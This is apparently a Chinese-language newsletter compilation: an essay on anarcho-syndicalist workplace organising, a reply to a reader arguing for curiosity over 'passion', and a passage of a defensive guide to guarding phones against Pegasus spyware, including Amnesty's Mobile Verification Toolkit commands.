加入意识形态上纯粹的工会并举行大罢工，如今可能是很难期待的。因此，需要一个基于工作场所的亲密团队。不是一群在工会中组织起来的工人，而是一群为自己的工作场所组织起来的工人。这就是世界产业工人联合会（IWW）使用的主要战略。虽然它并没有创建一个稳定的工会，但这一直是组织直接胜利的有效形式，如增加工资和工作场所保护等。这与普通劳工组织的区别在于它强调直接行动和直接的工人民主。其他工会受到合同的约束，不想“引起麻烦”，而且可能是非常官僚化的。现代无政府-工团主义必须是流动的，能够在工人认为合适的任何时候实施罢工和停工。

必须说，这样的战略需要配备适当的维护和教育，否则难以形成非常稳定的工会。老板很擅长通过裁员消灭激进的员工，即便没有裁员，长期的运动之后也很容易出现冷漠。

因此，现代的无政府-工团主义工会必须在行动中关注工人的亲和力，而不是具体的工作和地点。这样的战略已经存在于国际工人协会中，也存在于工人团结联盟（WSA）中。这里的想法是让工会在工人所在的地方而不是工作所在的地方进行动员。工人走到哪里，工会就跟到哪里，这样，工会就可以在更大的地域范围内进行组织。同时，所有形式的工作都必须被组织起来。与商业工会不同，这里没有任何工作

是不值得组织的，没有任何等级制。目前大多数工作都是有辱人格的，越是有辱人格的工作就越需要被组织起来。

现代工会还必须在其成员中纳入其他工会。今年出现的反抗运动大多是在其他已建立的工会中发生的。信息很清楚，这些加入工会的工人想要的比他们目前所得到的更多，比目前的制度所能提供的更多。他们实际上是在呼吁一个替代方案，任何形式的无政府主义工作场所组织都必须在既有的工会内部进行动员。IWW和WSA已经在倡导这种类型的战略，这里的目标不是改革既定的工会，而是向其成员喊话。根据经验，对于已经对改革主义失望的有阶级意识的工人来说，地方工会是最好的热点。

这样的团体和战略要想抵制住资本家和国家政权的冲击需要在三个方面努力：实现眼前的目标，发展有效的变革工具，以及创造大众的团结。

任何形式的组织都可以帮助把革命信念传递给那些从来没有听说过它的人。通过直接行动进击工作场所，可以帮助人们实现自己的进一步解放的意识。

罢工无疑是一个强大的工具，但早已被现代运动所忽视。停止工作，从而停止创造利润，足够使资本家感到恐惧，这就是为什么他们竭力要杀死劳工运动。在乔治·弗洛伊德起义期间，工会巴士司机拒绝与警察合作；这一行动只是来自一个行业的少数工人，但如果类似的行动被更好地组织起来和分散开来呢？如果不仅仅是在街头的抗议，而是一场让整个城市停顿下来的运动呢？..... 要有一个改头换面的无政府-工团主义运动，就是要让罢工这个对工作场所最直接的攻击回到行动者的使用范围内。

最后是大规模的团结。古典无政府主义提出的总罢工的想法，在现在已经很难实现。历史上的大罢工之所以发生，与其说是由于计划，不如说是由于团结。一个现代的无政府-工团主义运动是流动性的，无论工人走到哪里，无论亲密团队建立在哪里，都可以帮助在工人中建立更广泛的团结，并发展必要的技能，使这种团结有效。如果能够将工作场所政治化，并传播关于工作场所内直接行动的知识，就能创造出实现社会变革所需的团结。

总而言之，劳工运动并没有完全死亡，工作场所的组织工作仍然很重要，并且是可行的。人们如何认为无政府-工团主义并不重要，重要的是，人们要认识到，如果我们作为组织者和动员者离开工作场所，就会把自己从一个中心战场上移开，那将很难取得成功。

激情不再？

「图」

Letters：…… 你们说的我都懂，但是这些想法在中国已经没用了。中国人的激情在三十多年前已经用光了，再也无法生成 ……没有激情就光剩下躺平了。只有虚无绝望，整个社会。你说任何想法都会被认为是不切实际的神经病 …… 没有激情了。这个社会早就死了。

inouport：激情是什么？激情真的重要吗？

我们先来看看什么是激情。这个被如此广泛使用的词、以及今天围绕它的语言，已经形成了一些非常具有破坏性的想法。

当今很多书籍和演讲者都喜欢使用这个词，还有类似的各种短语。这是有原因的。它的作用就像一个神话中的应许之地。那些没有激情的人坐在屋里悲哀着某个乌托邦的遥不可及；那些声称拥有激情的人，把它当作身份游戏中的大奖来玩，随处吹嘘。

甚至，对于一些作家和演讲者来说，这有助于在其目标受众的内心里形成某种圣地，让那些感到迷失的人花钱进入，或者花钱买知识来进入这个令人垂涎的身份空间。

这一切都是骗局。

让这样的语言在我们的文化中如此广泛地存在，事实上是一种耻辱。

在这种文化的笼罩下，对于那些没有 “激情” 的人，连他们自己也会感到 “士气低落”。

而对于那些有 “激情” 的人呢？他们中的许多人把它当作一个成就的徽章，戴在胸前。以这种方式炫耀自己的激情的人，更不会愿意去探索新的领域，他们永远躺在精心编制的历史记忆中，不愿醒来。即使他们不炫耀，这种身份仍然可以在内部对思想产生同样的影响。

我知道您在哀叹，您希望看到一个积极的社会。但您需要知道，这个词和围绕它的语言并不能激励人们。

相反，它只会使人们分裂和疏远。就如您所看到的异议群体的所谓派系撕裂，以及所谓的 “老牌异议” 如何藐视年轻激进派的代际撕裂。

(也许 “激情” 这个词的词源来自拉丁语的pati，意思是 —— “受苦”，

这很恰当。这个词本应该忠实于它的根源）。

并不需要去构建一个新词。只需要转移这个词被错误解读的焦点。

进行这种转变的问题与人们与生俱来的对确定性的热爱有关。激情让人感觉是确定的，定义明确的，可靠的。这种定义明确的品质造成了强烈的心理分裂，即 那些“有”激情的人和那些“没有”激情的人。

重点的转移必须远离这种确定性，这让人很不舒服。但是，如果能够接受这种不舒服的感觉，它将不仅对有激情的人、也对那些认为自己缺乏激情的人都有很大的帮助。

我们不如来换一个问题：你对什么感到好奇？

好奇心不带有任何严肃的身份承诺。这个概念更像孩子，充满探索的热情，不怕犯错，而且范围很广。它与激情这个词的限制性方式完全相反。如果一个人的“激情”是一个定义明确的盒子，那么好奇心就像是一盏聚光灯，在周围转动，看向各种方向。但它缺乏那种令人欣慰的确定性，很可能正是因此，好奇心被“激情”这个宏大的概念推到了一边。

顺便说：贯穿三大宗教的施虐受虐的线索可能也与这种对激情而不是好奇心的关注有关。中国也有对苦难即光荣的称颂，异曲同工。

好奇心这个词的词根来自拉丁文 curiosus —— 意思是“小心/注意”，但并不是谨慎的意思，而是对某件事情“无所畏惧”的意思，这一点加倍贴切。

事实上这才是使用“激情”这个词的人想说的话：「你关心的是什么？」但是，与激情这个词壮观的指挥力量相比，“好奇心”则听起来很冷淡。但是—— 在某些东西周围画一个方框来强调它，无一例外地将世界分为了方框内的人和留在方框外的人—— 这就是激情和它相关的语言常常破坏了许多人探索和进步的能力的原因。

我们不认为中国社会急需“激情”，尤其是盲目的激情，并不会真的有帮助。可以说，你完全不必去寻找激情，不必等待什么神圣的声音在你耳边指挥你的行动。只要看看周围，用好奇心作为指引，你会发现从未设想到的惊奇。

很多事情其实您马上就可以开始做，非常简单并且很有效，而不是憧憬着千军万马的巷战任凭时光流逝。我们已经介绍过一些您可以考虑的基础工作，见《建立国际团结：全球斗争中的人际关系》。

如果您认为自己有一个伟大的激情，那么它肯定能经受住一些健康的怀疑、一些质疑、甚至可能是抨击和反驳。也许在另一个领域，一些好奇心会帮助您在您所热衷的东西方面取得下一个突破。

我们都应该从自己最擅长的地方开始。只要战略是统一的，最终将从四面八方汇聚成巨大的力量。

强烈的关注是伟大的。但偶尔抬头看看周围，总是好的。您可能会发现您可能只关注了狭隘的区域，甚至错误的方向。

忘记激情。

找到好奇心。很重要。

感谢所有读者又一年的支持和陪伴，希望我们来年的工作可以更精彩，以回报您的厚爱。〇

原文

如何保护自己免受蔓延全世界的最强大的以色列间谍软件 Pegasus 的攻击 - iyouport

护盾（AS）自我保护措施-技术技巧以防身长读

安全性虚无主义是最可怕的事，其危险程度超过攻击本身。

人们曾经认为只有极高级别的敏感人士才会遭遇到最昂贵和最可怕的间谍软件，而这一假设在今年夏天被一场惊人的数据泄露所推翻；调查显示，以色列最恐怖的监视技术公司 **NSO** 的 **Pegasus** 间谍工具通过利用苹果软件的弱点，包括 **iMessage** 的无交互零日漏洞，渗透到全世界的记者、律师、人权捍卫者、活动家、和企业高管的 **iPhone** 手机中。

这是今年6月最火爆的消息之一，虽然，它并不是新闻 —— 我们的原网站有 “以色列和NSO” 专栏，您可以在 列表-4 中看到单独的板块汇总这部分内容。但很少有人会思考该如何应对这种可怕的攻击，这是本文希望尝试解释的问题。

虽然NSO一直在狡辩，声称该间谍软件 “只用于打击罪犯”，但6月泄露的潜在目标清单显示，记者、活动家和政客都是被NSO的客户瞄准的对象。

大赦国际描述说，这些详细的攻击从2014年一直持续到2021年7月。一些攻击被认为是 “零点击/无交互” ，即 受害人不需要以任何特定的方式进行互动就能被成功攻击。

该间谍软件还使用了多个零日漏洞，包括运行 iOS 14.6 系统的 iPhone 12。

📌 全世界的政府都在囤积零日漏洞，它可能是本世纪最强大的政治武器。这件事非常重要。如果您错过了《这就是他们给我讲述世界末日的方式》。

事实上，大赦国际报告中列出的攻击早在**2018**年**5**月就开始了 ——

也就是**IYP**开始报告这一系列灾难的最初时间。

如果您错过了*2018*年的报告：《以色列间谍软件公司出售监视技术和知识在*130*个国家针对记者、异议和*LGBT*人群》，以及《以色列 *NSO* 生产的间谍软件 *Pegasus* 在*45*个国家被用于监视和攻击异议人士及活动家—亚洲有香港》。

正如约翰霍普金斯大学的密码学家马修格林所担心的，这一披露有可能让黑客专家们陷入 “安全性虚无主义” 的境地。

安全性虚无主义认为，数字攻击已经变得如此复杂，以至于没有什么可以防止它们发生的，也无法削弱其影响。这种结论将是一个错误。

我们在解释*IYP*为什么采取开源情报的时候提到过中国社会的安全性虚无主义，并且这一现象至今都明显存在着，见《这不是一场竞技表演》。

任何时候，知道永远比不知道要强，我们需要冷静下来仔细思考可能的对策。虽然说实话，除非跨国联合的革命推翻这一弥漫全球的政治武器，否则，单纯的技术弥补并无法成为长期出路。https://www.patreon.com/posts/quan-shi-jie-zui-38139678

首先，虚无主义正中了恶意黑客的下怀，他们最希望看到的就是目标不再试图保护自己。并且，这在事实上也是错误的。您依旧有可能抵御NSO的间谍软件—— 例如，通过遵循操作安全规则，比如最简单的不点击未知链接，实行设备分区（如为不同的应用程序使用不同的设备），以及在移动设备上安装加密VPN等等。这些技术对任何数量的数字攻击都是有效的。

- 如果您是敏感人士，请在我们的 列表-5 “护盾” 中看到详细的安全措施内容汇总；
- 如果您是普通数字设备用户，列表-1 中的 “技术防身” 板块中的内容应该适合您；
- 如果您正在想要摆脱威胁，您可以尝试《变得难以被追踪》 系列；
- 如果您已经成为目的，正在准备逃离控制，《完美隐身》系列应该为您所熟悉；
- 如果您是不甘心忍耐的行动者，《整体安全》系列教程是您和您的亲密团队成员最科学的安全培训。

正如安全领域的一句经典格言所说，并没有百分百完美的安全性，但

这并不是消极怠工的借口。那么，以下是一些您可以采取的实际步骤，以减少您的“攻击面”，保护自己免受像**NSO**这样的间谍软件的侵害。

此外，最近，公民实验室也做了一份调查报告，有技术分析，您可以参考《From Pearl to Pegasus》。

[[

「图」

iyouport

这就是他们给我讲述世界末日的方式

【注】曾经在“枪杆子”里的政权，现在在代码中 。 它可能是本世纪最强大的政治武器。这是一场阴暗的地下军备竞赛，它可以毁灭任何人，不论是盟友还是政敌；它可以卖给任何人，只要你给足了钞票。在这里没有什么意识形态，一切都是关于金钱和权力。全世界的政府都在秘密地这样做，包括你认为最善良和最民主的政府；但这里最大的玩家、一掷千金的顶级买主，只有那几个政府：美国、中国、以色列、俄罗斯…… 其中美国压倒其他所有国家。 那些知道如何使用这种武器的人像巨人一样站在这个地球上。 政治是使他人屈服于你的意愿的斗争。战争是政治通过其他手段的延伸。在网络领域，政治和战争进入了新的篇章，至今仍在撰写 …

Read more

3 years ago · iyouport

|https://iyouport.substack.com/p/e3b?utm_source=substack&utm_campaign=post_embed&utm_mediun

德国警方秘密购买了 NSO Pegasus 间谍软件 消息来源证实媒体报道称，联邦刑事警察不顾律师的反对，购买并使用了备受争议的以色列监控间谍软件 —— 德国联邦刑事警察局 (BKA) 于 2019 年从以色列公司 NSO 购买了臭名昭著的 Pegasus 间谍软件。议会消息人士称，联邦政府在闭门会议上将此次购买通知了联邦议院内政委员会。这证实了早先在德国《时代周报》上发表的报道。据 Die Zeit 称，该软件是在“极度保密”的情况下采购的，尽管律师们犹豫不决，因为该监控工具的功能远远超出了德国隐私法所允许的范围。

巴林政府使用 NSO 恶意软件来攻击活动家和持不同政见者

我们首先来看看它的攻击方式。

1、网络注入

「图」

第一类攻击是网络注入，即 用户被神秘地从一个合法网站重定向到另一个。Safari浏览器的浏览历史日志显示了被访问了的可疑URL，这是打开网页后几乎不到一秒钟内就发生的被重定向的证据。

Favicon 数据库也显示了类似重定向的证据，尽管不一定是通过主动浏览。在一个案例中，尽管没有打开单独的浏览器，但在预览一个记者的 Twitter 时间线中分享的链接时，使用的Safari浏览器服务促使网页加载并重定向到可疑的URL。

2、Bridgehead

「图」

进程执行的记录显示，名为 “bh” 的进程也与 Pegasus 安装域有关，通常在成功的网络注入尝试后出现。

据认为，“bh” 与 iOS JavaScriptCore 二进制中的一个2016年的漏洞有关，该漏洞使代码得以执行，并在重新启动后在设备上保持持久性。bh 被认为代表 “BridgeHead”，是该组件的内部名称。

在 “bh” 之后，该恶意软件还使用了其他进程，包括 “roleaboutd” 和 “msgacntd”，它们被认为是在成功利用和特权升级后使用的后期进程。还发现了其他类似的进程，包括 “pcsd” 和 “fmId”，它们可能有相同的目的。

3、照片

「图」

有证据显示，在使用 “bh” 进程之前，苹果公司的一个名为 “mobileslideshow” 的照片应用程序进程可能已被用于攻击中。

人们怀疑 Photos 应用程序或 Photostream 服务被用作部署 Pegasus

间谍软件的漏洞利用链的一部分。

在每一个使用 Photos 的案例中，似乎 Photostream 使用的是同一个iCloud账户地址。一些无交互攻击显然需要特定的iCloud账户才能发挥作用。

4、iMessage 中的无交互0-day问题

「图」

从2019年开始，iMessage 和 FaceTime 中的许多漏洞被发现和修补，但是，似乎有些问题仍然可以被滥用。

在一次攻击中，人们发现可疑的 iMessage 账户查询后执行了 Pegasus 间谍软件进程。多个匈牙利记者显然是同一操作者的目标，每次攻击都使用了类似的地址和进程。

通过 iMessage 的攻击显然在2021年又回来了，这次涉及到一个可疑的 iMessage 账户的查询，然后是一个 coretelephony 进程执行的HTTP请求。这似乎是为一个名为 “gatekeeperd” 的进程请求一个有效载荷。

2021年5月的一次攻击显示，对一个神秘的iCloud账户进行了类似的查询，推送通知显然被用作在执行前将有效载荷应用到目标iPhone上的一种方式。

5、苹果音乐

「图」

还有证据表明，Pegasus 间谍软件可能在2020年7月通过苹果音乐应用程序交付。在那次感染中，苹果音乐的网络流量被记录下来，音乐应用程序的HTTP请求再次指向用于分发 Pegasus 的域。

大赦国际无法确定苹果音乐本身是否被用于最初的感染，或者它是否被用于沙盒逃逸或特权升级。

6、工具和援助

「图」

调查结束后，大赦国际通过 GitHub 发布了 Pegasus 指标，以协助其他安全研究人员发现其他 Pegasus 感染。这些指标包括 Pegasus 基础设施中的域名、从 iMessage 账户查询中恢复的电子邮件地址，以及与该软件相关的进程名称。

一个名为 “移动验证工具包” 的工具也正在发布。作为一个模块化的工具，它旨在简化获取和分析来自安卓设备的数据的过程，以及分析来自iOS备份和系统转储的记录，以找到任何进一步的潜在痕迹。

Pegasus 提供 “对目标移动设备的无限制访问”

「图」

最近披露的信息涉及NSO的一个特定的间谍软件产品，即 Pegasus。在这之前，公民实验室、国际特赦组织、Article 19、R3D 和 SocialTIC 等机构都对该公司的监控工具进行了广泛研究。以下是一些具体了解。

该间谍软件的功能在似乎是**NSO**集团**2014**年或更早的宣传手册中就有所概述，并在 **WikiLeaks** 公布与另一家间谍软件公司—— 意大利 **Hacking Team**—— 有关的电子邮件库时提供。该文件积极地推销 Pegasus，说它提供 “对目标移动设备的无限访问”，并允许客户 “远程和隐蔽地收集有关你的目标的关系、位置、电话、计划和活动的一切信息 —— 无论何时何地”。

【注：我们有 “以色列和NSO” 专栏，在列表-4 中找到；同一位置也有 “Hacking Team” 专栏。此外在这里看到对那场惊人的数据泄露的开源情报分析《深挖 Hacking Team内幕》】

该手册还指出，Pegasus 可以：

- 实时监控语音和VoIP电话；
- 从手机中吸取联系人、密码、文件、和加密的内容；
- 作为一个 “环境窃听器” 操作，通过麦克风进行监听；
- 通过 WhatsApp、Facebook、Skype、Blackberry Messenger 和 Viber 等应用程序监控通信；
- 通过GPS追踪手机的位置 ……

然而，尽管大肆宣传，Pegasus 依旧只是一种被称为远程访问木马或RAT的旧式恶意软件的美化版本：一种允许未授权方完全访问目标设备的程序。换句话说，虽然 Pegasus 可能是强大的，但理论上安全界

应该很清楚如何防御这种类型的威胁。

让我们来看看 Pegasus 可能感染手机的不同方式 —— 用该手册上的说法，它的各种 “代理安装载体” —— 以及如何抵御每一种。

1、躲避社交工程的诱饵

「图」

社交工程手段始终都是安全威胁的要点，是攻击者第一步需要使用的突破口。社交工程学也是审讯心理学的主体，以帮助被捕和被喝茶的人防止被警察套话。在安全角度上它很重要，这就是为什么IYP有 “社交工程” 专栏，从各种角度分析您有可能如何中招。您可以在列表-3和列表-5 中看到单独板块的内容汇总。

在关于 Pegasus 攻击的报告中，有许多记者和人权维护者收到了短信和 WhatsApp 诱饵信息，引诱他们点击恶意链接。这些链接会下载间谍软件，通过浏览器和操作系统的安全漏洞进入设备。还记得华盛顿邮报专栏作家 Jamal Khashoggi 是如何被分尸的吗 —— 是的，只因为他的亲密队友在网店订购了一罐蛋白粉。在这里看到这个故事《当恶意软件伪装网购物流》。

在泄露的间谍软件手册中，这种攻击媒介被称为 “增强型社交工程师信息”（**ESEM**）。它指出，“目标将点击链接的机会完全取决于内容的可信度水平。**Pegasus** 解决方案提供了广泛的工具来编写一个*量身定制*的看起来完全无害的信息，以引诱目标点击”。

正如保护记者委员会所详述的，与 Pegasus 有关的ESEM诱饵信息分为不同的类别。有些声称是来自银行、大使馆、新闻机构、或包裹递送服务等既定组织。其他的则与个人事务有关，如工作或所谓的伴侣出轨证据，或声称目标人物正面临一些直接的安全风险。

未来的ESEM攻击可能会使用不同类型的诱饵信息，这就是为什么你必须谨慎对待任何试图说服你执行数字动作的信息和信件！

📌 下面是一些例子，说明这在实践中意味着什么：

A、如果你收到带有链接的信息，特别是如果它包含一种紧迫感（说明一个包裹即将到达、或你的信用卡将被扣款），你*必须避免*自己立即点击它的冲动。

B、如果你信任所链接的网站，请*手动输入*链接的网址，而不是直接点击。

C、如果要去一个你经常访问的网站，将该网站应该被保存在一个本地的书签文件夹中，并且，你应该只从你自己的文件夹中的链接访问该网站。

D、如果你决定要点击一个链接，而不是在浏览器中键入它或通过书签访问该网站，至少要仔细检查该链接，以确认它是指向一个你熟悉的网站。请记住，你仍有可能上当受骗：一些钓鱼网站的链接使用非英语字符集中看起来相似的字母，这就是所谓的同形异义字。例如，西里尔字母 “O” 可能被用来模仿在英语中通常看到的拉丁字母 “O”。

E、如果该链接看起来是一个缩短的URL，请使用URL扩展器服务，如 URL Expander 或 ExpandURL，在点击前显示其指向的实际长链接是什么。

F、在你点击一个显然是由你认识的人发送给你的链接之前，请确认这个人确实是你认识的那个人、此人确实给您发送了这个链接；因为你的朋友的账户可能被黑了，或者他们的电话号码被伪造了。要使用与你收到该信息时不同的通信渠道向你的朋友确认这件事。例如，如果链接是通过短信或电子邮件发送的，那就给发件人打个电话。这就是所谓的 *带外认证/频外认证或鉴定*。

G、实行设备隔离，使用一个 *没有任何敏感信息的辅助设备* 来打开不受信任的链接。请记住，如果辅助设备被感染，它仍然可能被用来通过麦克风或摄像头监控你！所以在不使用时将其放在法拉第袋中——或者至少远离你进行敏感对话的地方（放在法拉第袋中肯定是个好主意）。

H、使用 *非默认的浏览器*。根据泄露的 Pegasus 手册中题为 “安装失败” 的部分，如果目标人运行的是不支持该间谍软件的浏览器，特别是 “设备的默认浏览器” 以外的浏览器，安装可能失败。但是，请注意！这份文件已经是几年前的了，而且今天的 Pegasus 可能已经可以支持所有种类的浏览器。

I、如果对某个链接有任何怀疑，最安全的措施是避免打开该链接。

2、挫败网络注入攻击

「图」

在多个案例中，Pegasus 感染设备的另一种方式是通过拦截手机的网络流量，即 所谓的中间人攻击或MITM，其中 Pegasus 拦截未加密的网络流量，如HTTP网络请求，并将其重定向到恶意的有效载荷。

要做到这一点，间谍软件需要欺骗手机连接到一个假装是附近手机塔的流氓便携设备 —— 就如黄貂鱼；或者，直接获得对目标手机运营商的访问权（如果目标是在政府提供电信服务的压迫性政权中，这是绝对可行的）。即使手机处于仅有移动数据的模式，并且没有连接到 **Wi-Fi**，这种攻击也能发挥作用。

【注：事实上这种攻击方法在全世界普遍被使用，尤其是在群体事件中被用来抓捕抗议者。甚至被绑在飞机上，一次性扫荡成百上千的人。如果您错过了《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为》。不要忘了，IBM和谷歌早已帮助中国构建了一种更可怕的同类监视工具。】

当非政府组织 Freedom Now 和摩洛哥调查性新闻协会的联合创始人 Maati Monjib 打开 iPhone Safari 浏览器并输入 yahoo.fr 时，Safari 首先尝试转到 http://yahoo.fr。通常情况下，这将重定向到 https://fr.yahoo.com，一个加密的连接。但是，由于 Monjib 的连接被拦截了，它反而重定向到了一个恶意的第三方网站，并最终入侵了他的手机。

如果您在浏览器地址栏中只输入网站域名（如 **yahoo.fr**）而没有指定协议（如 **https://**），这就为**MITM**攻击提供了可能，因为您的浏览器默认会尝试以未加密的**HTTP**连接到该网站！"通常情况下，您到达真正的网站时，它立即将您重定向到一个安全的**HTTPS**连接；但是，如果有人跟踪并黑进您的设备，第一个**HTTP**连接就足以成为劫持您的连接的入口。 一些网站使用一种被称为**HTTP**严格传输安全性的复杂安全功能来防止这种情况，这可以防止您的浏览器向他们发出未加密的请求，但是，年不能总是指望这一点，即使对于一些能够正确实施它的网站而言也是如此。 📌 这里有一些您可以做的事，以防止这些类型的攻击： **A**、在进入网站时，一定要键入 **https://** **B**、将你喜欢的网站的安全（**HTTPS**）网址加入本地书签，并使用这些网址来访问网站，而不是直接输入域名。 **C**、另外，在您的桌面和移动设备上都使用加密的**VPN**。**VPN**将所有连接安全地传输到**VPN**服务器，然后代表你访问网站并将其转发给你。这意味着监视你的网络的攻击者很可能无法成功地进行**MITM**攻击，因为你的连接是加密到**VPN** 的 —— 即使你在浏览器中直接输入了域名而没有带 “**https://**” 部分。 但是，如果你使用**VPN**，请始终记住，你的**VPN**供应商有能力监视你的互联网流量，所以，挑选一个值得信赖的供应商非常重要—— 在这

里看到《某个VPN可能不可靠的5个标志：如果您不理解技术的话》。 此外，Wirecutter 根据VPN供应商的第三方安全审计历史、他们的隐私和使用条款政策、所使用的VPN技术的安全性以及其他因素，发布了定期更新的、全面的VPN供应商比较。您可以参考。 !!!3、零点击漏洞 「图」 与需要目标执行某些行动（如点击链接或打开附件）的感染企图不同，零点击漏洞之所以被称为零点击，是因为它们不需要目标的任何互动。所需要的只是目标人安装了一个特定的脆弱的应用程序或操作系统。如前文所示，大赦国际对最近披露的 Pegasus 证据的取证报告指出，一些感染是通过利用苹果音乐和 iMessage 应用程序的零点击攻击传播的。 这不是NSO集团的工具第一次与零点击攻击有关。2017年针对巴拿马前总统里卡多·马蒂内利的投诉就指出，记者、政治人物、工会活动家和公民协会领导人都已经成为 Pegasus 间谍软件的目标，而在2019年，WhatsApp 和 Facebook 提出投诉，称NSO集团开发的恶意软件能够利用 WhatsApp 的零点击漏洞。 由于零点击漏洞／即 无交互漏洞，顾名思义就是不需要任何用户互动，它们是最难防御的。但是，用户可以通过减少所谓的 “攻击面” 和实行设备隔离，来减少被这些漏洞击中的机会。 减少您的攻击面仅仅意味着最大限度地减少您的设备可能被感染的方式。设备隔离意味着将您的数据和应用程序分散到多个设备上—— 中国用户应该很容易理解这点，我们曾经多次听闻中国用户将微信、微博、支付宝等中国流行应用隔离到一台单独的设备上，这是非常好的。 📌 具体来说，用户可以这样做： A、减少你手机上的应用程序的数量。你家里未上锁的门越少，窃贼进入的机会就越少；同样，较少的应用程序意味着你手机上可供对手利用的虚拟门越少。你的设备应该有你执行日常功能所需的最基本的应用程序。有一些应用程序你不能删除，比如 iMessage；在这些情况下，你通常可以禁用它们，尽管这样做也会使文字信息在你的 iPhone 上不再起作用。 B、定期检查你安装的应用程序（和它们的权限），并删除任何你不再需要的应用程序。删除一个很少使用的应用程序，并在你真正需要它时再次下载它，比让它留在你的手机上更安全。不要忘了《少即是多》。 如果您错过了《您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识 》 C、及时更新手机操作系统和个别应用程序，因为更新可以弥补漏洞，有时甚至是无意的漏洞。 D、将你剩余的应用程序分门别类。如果一部手机只安装了 WhatsApp 并被入侵，黑客会得到 WhatsApp 的数据，但不会得到其他敏感信息，如电子邮件、日历、照片或 Signal 加密信息。 E、请记得，即使是被隔离的手机，仍然可以被用作窃听和跟踪设备，所以，要保持设备的物理隔离—— 也就是说，把它们放在另一个单独的房间里，最好是放在法拉第袋里。如果您曾经参加过具有保密级别的会议或进入安全设施内，您就会知道这点，手机是不能带入房间的。 !!!4、物理访问

「图」 攻击者感染手机的最后一种方式是通过与目标手机进行物理交互 —— 恶意女仆。根据该手册，“当物理访问设备是一种选择时，Pegasus 特工可以在五分钟内手动注入和安装”—— 尽管不清楚手机是否需要解锁，或者攻击者是否能够感染甚至是受密码保护的手机。目前似乎还没有已知的物理发起 **Pegasus** 攻击的案例，尽管这样的漏洞可能很难被发现，很难与在线攻击区分开。 📌 以下是你可以如何减轻它们的影响的一些方法： **A**、始终保持让你的设备在你的视线之内。任何时候，只要你的设备离开你的视线，就有可能发生物理上的破坏。在 “社交工程” 系列和 “黑客主义行动力” 系列中我们已经很多次强调过这个问题 —— 不论是去洗澡还是如厕，只要房间里还有另一个人，或者，有任何人可能进入这个房间，就最好随身携带你的所有电子设备。 显然，海关人员在机场可以拿走你的手机，这和你去洗手间时把笔记本电脑留在卧室里是有区别的，但都涉及一些同样的风险，你将不得不校准自己的风险承受能力。 **B**、当你的设备不得不无人看管时，把它放在法拉第袋里，特别是在酒店房间等风险较大的地方。这并不能防止设备被操纵，但至少可以随时提醒你，设备已经从袋子里被拿出来了，可能被人动过了，这时就不应该再使用该设备。 **C**、在进入潜在的敌对环境，如政府大楼，包括大使馆和领事馆，或通过边境检查站时，请使用一次性电话和其他隔层设备。 📌 一般来说： **A**、如果你怀疑自己的手机感染了 **Pegasus**，请使用大赦国际的移动验证工具包。 **B**、定期备份重要文件。 **C**、定期重置你的手机也没有坏处。 尽管 **Pegasus** 是一个极度危险和复杂的间谍软件，但请相信你可以采取一些具体的步骤来尽量减少自己的设备被感染的机会。没有万无一失的方法可以完全消除风险，但你肯定可以做一些事来降低这种风险，安全虚无主义是要不得的。 **!!!**关于大赦国际发布的移动验证工具包 「图」 大赦国际发布了一个工具，可以帮助您检测自己的手机是否受到影响。 该工具包旁边是一组很棒的说明，应该可以帮助您完成一些技术检查过程。使用该工具涉及将手机备份到单独的计算机，并对该备份运行检查。下面做一些介绍。 首先要注意的是，该工具是基于命令行或终端的，所以它将需要一定的技术能力或一点耐心来运行。但真的不难！请放心，按照说明做就行了。下文将试图涵盖很多你需要知道的东西。 第二个说明是，大赦国际正在运行的分析似乎对**iOS**设备效果最好。大赦国际在其文件中说，其工具可以在安卓手机备份上运行的分析是有限的，但该工具仍然可以检查潜在的恶意短信和**APK**。同样，建议遵循其说明。 要检查您的 **iPhone**，最简单的方法是在**Mac**或**PC**上使用 **iTunes 或 Finder** 做一个加密的备份。然后您需要找到该备份的位置，苹果公司提供了相关的说明。**Linux** 用户可以按照大赦国际的说明，使用 **libimobiledevice** 命令行工具来创建备份。 获得手机备份后，需要下载和安装大赦国际的**mvt**程序，大赦国际也提供了相关说明。 如果

您使用Mac来运行检查，首先需要安装 Xcode（可以从App Store下载）和 Python3，然后才能安装和运行mvt。 获得 Python3 的最简单方法是使用一个叫做 Homebrew 的程序，它可以从终端安装和运行。安装完这些后，您就可以运行大赦国际的iOS指示了。 如果您在试图解密您的备份时遇到问题，没关系。当我试图把它指向我的备份时，该工具也报错了，我的备份在默认文件夹中。为了解决这个问题，我把备份文件夹从默认位置复制到桌面上的一个文件夹里，并把mvt指向它。命令最后看起来像这样： `mvt-ios decrypt-backup -p PASSWORD -d decrypt ~/Desktop/bkp/orig` 【注：请注意，这仅用于说明目的。请使用大赦国际给出的命令，因为程序可能已更新】 当运行实际扫描时，您要指向一个 “Compromise” 文件，大赦国际以一个名为 pegasus.stix2 的文件形式提供。那些刚开始使用终端的人可能会被如何实际指向一个文件所困扰，但只要您知道文件的位置，这是相对简单的。对于初学者来说，建议将 stix2 文件下载到您的Mac的下载文件夹。然后，当您到了实际运行检查-回溯命令的步骤时，添加： `-i ~/Downloads/pegasus.stix2` 进入选项部分。作为参考，这里的命令最后看起来像下面这样。(同样，这只是为了说明问题。如果您只是复制这些命令并运行它们将导致错误）： `mvt-ios check-backup -o logs-iocs ~/Downloads/pegasus.stix2 ~/Desktop/bkp/decrypt` (作为参考，~/ 或多或少地充当了您的用户文件夹的快捷方式，所以您不必在 /Users/mitchell 这样的地方添加什么) 再一次，建议您按照大赦国际的指示，使用其命令，因为该工具总是有可能被更新。安全研究员 @RayRedacted 在Twitter上也发布了一个很好的 thread，讲述了您在运行该工具时可能遇到的一些问题以及如何处理它们。 最后，大赦国际只提供了在 MacOS 和 Linux 系统上安装该检测工具包的说明。对于那些希望在Windows上运行它的人来说，The Verge 已经证实该工具可以通过安装和使用 Windows Subsystem for Linux（WSL）并遵循大赦国际的 Linux 说明来使用。使用WSL将需要下载和安装一个Linux发行版，如 Ubuntu，这将需要一些时间。不过，它可以在您等待手机备份的时候完成。 运行mvt后，您会看到一个警告列表，其中列出了可疑的文件或行为。值得注意的是，警告并不一定意味着您已经被感染了。对我来说，一些完全正常的重定向出现在它检查我的 Safari 历史的部分（sheet.google.com 重定向到了 docs.google.com，reut.rs 重定向到 reuters.com，等等）。同样，也会得到一些报错，但只是因为该程序正在检查我的手机上没有安装的应用程序。 围绕 Pegasus 的故事可能会让许多人对手机这种担心比平时多了几分怀疑，不管您是否有可能成为一个民族国家的目标。 正如您已经看到的，政府有可能并不需要入侵您的手机的麦克风和摄像头，就可以获取您的私人信息 —

